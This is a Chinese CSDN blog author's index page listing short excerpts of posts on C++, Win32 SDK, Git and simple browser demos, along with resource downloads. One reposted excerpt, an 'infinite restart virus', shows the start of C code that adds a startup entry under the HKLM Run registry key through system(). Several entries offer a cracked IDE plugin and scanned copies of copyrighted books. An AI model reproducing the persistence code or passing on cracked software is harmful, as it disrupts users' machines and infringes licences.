自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+

(ÒωÓױ)

曾经去过跨越一个小时的地方

  • 博客(19)
  • 资源 (11)
  • 收藏
  • 关注

原创 变量定义的两种风格:*跟随变量类型标识符还是变量标识符

引言:公司项目中有两种风格混杂在《C++ Primer 5th》上面看到的书的变量定义风格是 * 与变量标识符写在一起,而公司的项目呢,则是 * 与类型标识符写在一起。尽管是个很小的问题,但是作为代码强迫症的我还是很在意,究竟哪种方式更好呢?变量定义的两种风格:*跟随变量类型标识符还是变量标识符最近重新翻看《C++ Primer 5th》,发现在书的第52页中已经有过描述了,这里引用书上原文:

2017-03-27 11:49:16 1960

原创 输入框如何限制输入字数的方法

之前研究过这个问题,研究了很久,什么研究输入框的特性啦、如何屏蔽用户的输入消息之类的东西。最后在 MSDN 上的某处代码中得到了启发:与其说是限制字数,也可以说是截断字符串,也就是说当我们每输入一个字的时候,判断总体字符串是否大于了最大值,如果大于,则直接截取即可。就这么简单!!!给用户的感觉就像是,诶,好像是不能输入了。其实我们程序做的事情就是,获取用户输入的字符串,然后按最大值截取,然后再粘贴回

2017-03-24 17:18:28 3235

原创 时间类型转换:将COleDateTime转换为INT64类型

引言最近工作上遇到了这样的问题,一个接口的一个调用参数是需要传入一个 INT64 类型的数据,然而现在另外一个同事给我的数据类型形如 2017-3-24 这样的数据类型,我该如何转换成 INT64 类型的时间数据呢?解决方案展开了大量的搜索大法,发现这样的问题很少有人遇到。通过折返走了好大一圈,终于找到了解决的办法,这个办法或许不是最好的办法,也将将可以使用了。// 将形如 "2017-03-24"

2017-03-24 11:19:47 1368

原创 在Git官网上学习基本的Git指令

刚学习完了廖雪峰老师的Git教程,打开了Git官网,发现了一个有趣的东西。Git Tutorial可以在网站上模拟Git用户环境,了解Git的基本指令,不用配置环境也可以了解Git,我觉得还可以,这里推荐给大家。 请点击这里Git Tutorial。

2017-03-18 14:41:06 544 1

原创 Git 使用中显示“Another git process seems to be running in this repository...”问题解决

引言:问题回忆这几天,我同时在使用vs2017自带的git管理工具和git bash命令行工具对于同一个工作区进行了git操作管理。 其中,当我在vs2017中对文件进行了更改,突然脑洞大开,想要使用git bash使用命令行进入到工作区使用命令行git commit提交修改,此时我输入了git commit结果一不小心点击了右上角的结束按钮,导致此git进程崩溃。 然后进入了vs2017的gi

2017-03-17 11:02:49 64743 13

原创 VS编写C、C++程序一闪而过的解决办法

最近正在第二遍看《C++ Primer 5th》这本书,第一遍没有怎么敲代码,第二遍想跟着习题敲过去。想着该怎么用VS这宇宙第一IDE调试最纯净的C++程序呢?方法一:使用Sleep()函数此函数需要添加头文件Sleep(1000); // 1000毫秒也就是1秒方法二:使用System(“pause”)函数此函数需要添加头文件System("pause"); // 点击任意键才退出程序总结以

2017-03-16 21:16:50 10834

原创 支持VS2017的vax插件VA_X_Setup2210

自从3月7号VS2017正式版发布,因为没有破解的vax插件可用,忍受了几天没有vax的日子。可能是本人能力不够,觉得一旦离开了vax好像就不会写C++代码了。 找了很久也没找到可以使用的vax插件,这里友情奉献!!! 支持VS2017的vax插件VA_X_Setup2210下载地址

2017-03-16 14:18:26 7034 1

原创 一个使用纯Win32 SDK和C语言实现的五子棋游戏

GobangGame这是一个使用纯Win32 SDK和C语言实现的五子棋游戏在这个游戏中实现的功能[x] 绘制一个15 * 15的棋盘[x] 绘制5个着重点位置[x] 根据鼠标左键的点击,可以绘制出黑色棋子;根据鼠标右键的点击,可以绘制出白色棋子[x] 根据鼠标中键的点击,可以初始化棋盘[x] 根据鼠标点击的实际位置,可以计算转化为临近点最近的那个点,在这个点上绘制棋子[x] 当鼠标位置

2017-03-13 00:03:43 1796

转载 Win API绘制y = sinx函数图像

学习小甲鱼Win32 SDK 第17讲的时候,看到了正弦函数的绘制实现。觉得非常奇妙,这里非常感谢小甲鱼老师,另外附上详尽的备注代码。#include <math.h>// 因为是使用折线绘画,所以当折线的顶点数量非常多的时候,我们就可以看到一条近似完美的曲线了!#define NUM 1000 // 将 x 轴分成 10

2017-03-09 16:24:27 1837

原创 GitHub中README.md添加图片方式

GitHub中的项目,没有一个好点的README.md文件介绍的话,怎么能吸引到对项目感兴趣的人呢?! 这里整理下向GitHub中README.md添加图片的方法。 1. 将要显示的图片上传到GitHub上去。 2. 将要显示的图片以下列![图片介绍](https://github.com/你的GitHub名称/你的Repository名称/raw/master/你上传的路径 你上传的图片名称

2017-03-08 00:16:46 1099

原创 一个多标签页、可输入网址可前进后退刷新的简易浏览器

一个多标签页、可输入网址可前进后退刷新的简易浏览器因为本人之前做过一个单标签页的简易浏览器,所以与标签页逻辑处理无关的介绍就不再赘述了,想要了解的可以查看这里单标签页简易浏览器实现。此程序的功能如下:可输入网址,敲击Enter或者点击Go按钮发起浏览可记录标签页的浏览痕迹,可前进后退可以刷新当前网页标签页可以新建、删除、切换,网页内容也随之变动如何实现多标签页多标签页该如何实现呢?考虑了很

2017-03-08 00:10:44 1072

原创 单标签页简易浏览器实现

一个只有一个标签页的简易浏览器具有以下功能:可以记录浏览记录,可前进后退可以刷新当前网页可以输入网址并且通过Enter键或者右侧的按钮发起导航具有比较人性化的界面引子首先,为什么要写这么一个简单的浏览器呢? 这是因为工作使然。工作上正好想要在当前的PC客户端软件里嵌入一个浏览器,可以使用C++代码调用Js,也可以使用Js调用C++代码,这个demo也就相当于这个需求的前导调研了。参考技术

2017-03-07 23:53:57 1293

原创 VS的VC项目转移过程中可以删除的文件

引子在项目开发过程中,总需要从一台电脑上转移代码到另一台电脑上,但是VS的项目动辄好几百M,而这些文件并不是都需要的。那么为了最小文件大小,又可以在另外一台电脑上顺利编译项目,需要携带或者说需要删除项目中的哪些文件呢?一个例子这里以我自己编写的一个VC项目为例,看看能删除哪些文件。现在先打开项目工程文件夹,查看项目工程文件夹的大小。可以看到,项目目前大小为119MB,让我们打开看看里面有哪些文件。

2017-03-07 18:04:02 8061

原创 开源授权协议GPL和LGPL的区别

引子今天在学习wke的时候,发现了作者在wke.h文件头的位置,写上了licence LGPL 的字样,这里我就疑惑了,好像只听说过GPL,并没有听说过LGPL,那么这两者究竟有什么区别呢?开源授权协议这里引用网上查询到的资料: GPL 是 GNU General Public License(GNU 通用公共许可证)的缩写形式;LGPL 是 GNU Lesser General Public

2017-03-06 16:55:43 22984

原创 获取客户区大小的办法

在Win SDK编程过程中,难免会涉及到需要获得客户区的大小,那么获得客户区大小有几种方法呢?这里我整理了常用的两种。使用GetClientRect() 废话不多说,直接上代码:// 响应什么消息都可以使用这个方法RECT rect;GetClientRect(&rect); int cxClient = rect.right - rect.left; // 获得客户区宽度int cyC

2017-03-06 00:04:56 4815

原创 CreateWindow中dwStyle设置为WS_POPUP时显示不出来

CreateWindow中dwStyle设置为WS_POPUP时显示不出来今天我在调试一个程序的时候,想要创建一个无标题栏无边框的窗口,按照之前的逻辑,代码应该这么写...;hwnd = CreateWindow(szAppName, TEXT("无标题栏无边框窗口"), WS_POPUP, CW_USEDEFAULT, CW_USEDEFAULT,

2017-03-05 23:53:49 3220

原创 Got 5 Minutes?!让我们了解下Haskell吧

闲来无事,翻了下Haskell的信息,然后就点开了Haskell的官方网站,惊奇地发现了官方网站主页上的 Try it! 栏目。鼠标放置上去,还可以输入代码,右侧还会有入门了解的指导信息(当然是英文了)。玩了下,还是觉得很有意思,对于想要稍稍微了解下Haskell的好奇的人还是很有帮助的。 这里附上网址Haskell。

2017-03-03 15:16:40 535

转载 无限重启病毒

无限重启病毒在鱼C论坛上看到的,觉得挺有趣的,就copy过来了。实际上就7行代码,废话不多说,直接上代码。#include<stdlib.h>int main(){ system("reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v restart /t REG_SZ /d \"C:\\

2017-03-02 16:49:11 2329

转载 简单方便设置滚动条的代码

简单方便设置滚动条的代码这是我在学习小甲鱼Win32 SDK编程中的地14课的教学案例,这段代码实在太经典了,来回琢磨了两三遍,还上手敲了一遍,觉得还是不够尽兴,想着还是发到CSDN上来与大家分享。/* ------------------------------------------------------------------- MyWindows.c

2017-03-01 23:50:35 663

Windows Terminal 编译出来的发布包(这是 UWP 程序,要求系统必须是 1809 及其以上)

微软最新公布出来的 WIndows Terminal,其在 GitHub 上的地址是 https://github.com/microsoft/Terminal,很多人都不知道怎么编译(包括我)。这里看到一位仁兄编译出来一个发布版,但是要求非常高,需要 Win10 1809 以上的系统才能运行。另外,这是个 UWP 软件,与一般的 exe 软件不同。

2019-05-07

Ubuntu 18.04 离线安装 docker17.05.0-ce 安装包

Ubuntu 18.04 离线安装 docker17.05.0-ce 安装包,亲测成功: 安装步骤: 1. 将本文件夹中的 4 个文件放到 Ubuntu 任意一个文件中(一般用户目录下) 2. 运行这行命令离线安装 docker: dpkg -i *.deb 3. 运行这行命令验证 docker 安装成功: docker version

2018-05-23

The docker book (2017 年 3 月版) (对标 docker 版本 v17.03.0 )

The docker book (第一本 docker 书英文版原著),2017 年 3 月更新版本,对标 docker 版本是 v17.03.0 版本。目前 2018 年 5 月 22 日这本书的最新版本已经是对标了 docker v17.12.0 版本了,倒是可以在官网上购买,也不是很贵,10 美元的样子,但是看看这本也不赖,毕竟也只差了一年多的版本而已。对于新人入门,不需要追求死死追着新版本走,拿一个稍微新的版本好好学完了之后,再去官网社区更新下最新的更新也不是不可以的。

2018-05-22

深入浅出 Windows 10通用应用开发 林政著

《深入浅出 Windows 10通用应用开发》,文件 100 多 M,虽然不如文字版的 PDF 高清,但是仅供学习使用还是够用了。 希望各位网友在学有余力之余,还是尽量支持下正版书籍,也算抵消一点我的归咎之心:)

2018-01-05

Wireshark 数据包分析实战 第2版 (绝对高清108M扫描版)(无目录)

《Wireshark 数据包分析实战 第2版》,绝对高清 108M 扫描版,但是不带目录。 曾经为了学习 Wireshark 在网上下载了好多资源,包括 CSDN 的下载量最高的那个资源,其要么是拍照拍出来的,要么是清晰度不够,都很影响阅读体验。 而这份绝对是我找的那么多资源中,唯一一个清晰度最高的,阅读体验最好的。 Enjoy it :)

2017-12-19

Head First Design Patterns 随书附带源代码

Head First Design Patterns 随书附带的源代码文件。 虽说看书敲代码比较好一些,但是拥有这么一份代码随时查看也是挺好的。

2017-12-19

AS SSD Benchmark

可以用来测试 SSD 速度,以及检查是否 4K 对齐,还是很好用的:)

2017-11-13

2017-3-25最新Notepad++源代码

这是我最近在Github上拉取到的2017-3-25的最新的Notepad++的源代码,不方便的同学可以下载我的资源进行学习。

2017-04-01

支持VS2017的vax插件VA_X_Setup2210

亲测可用!!!亲测可用!!!亲测可用!!! 可用的事情说三遍!!! 搜索C盘VA_X.dll,替换掉*/15.0/*路径下的VA_X.dll文件即可 其他教程说需要卸载之前的版本 我测试是,只要你当前的vs版本没有安装vax插件,就可以不用卸载vax之前的版本

2017-03-16

opengl游戏编程

opengl游戏编程 美版 我看了自我感觉不错 啊哈 哈哈

2014-03-27

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除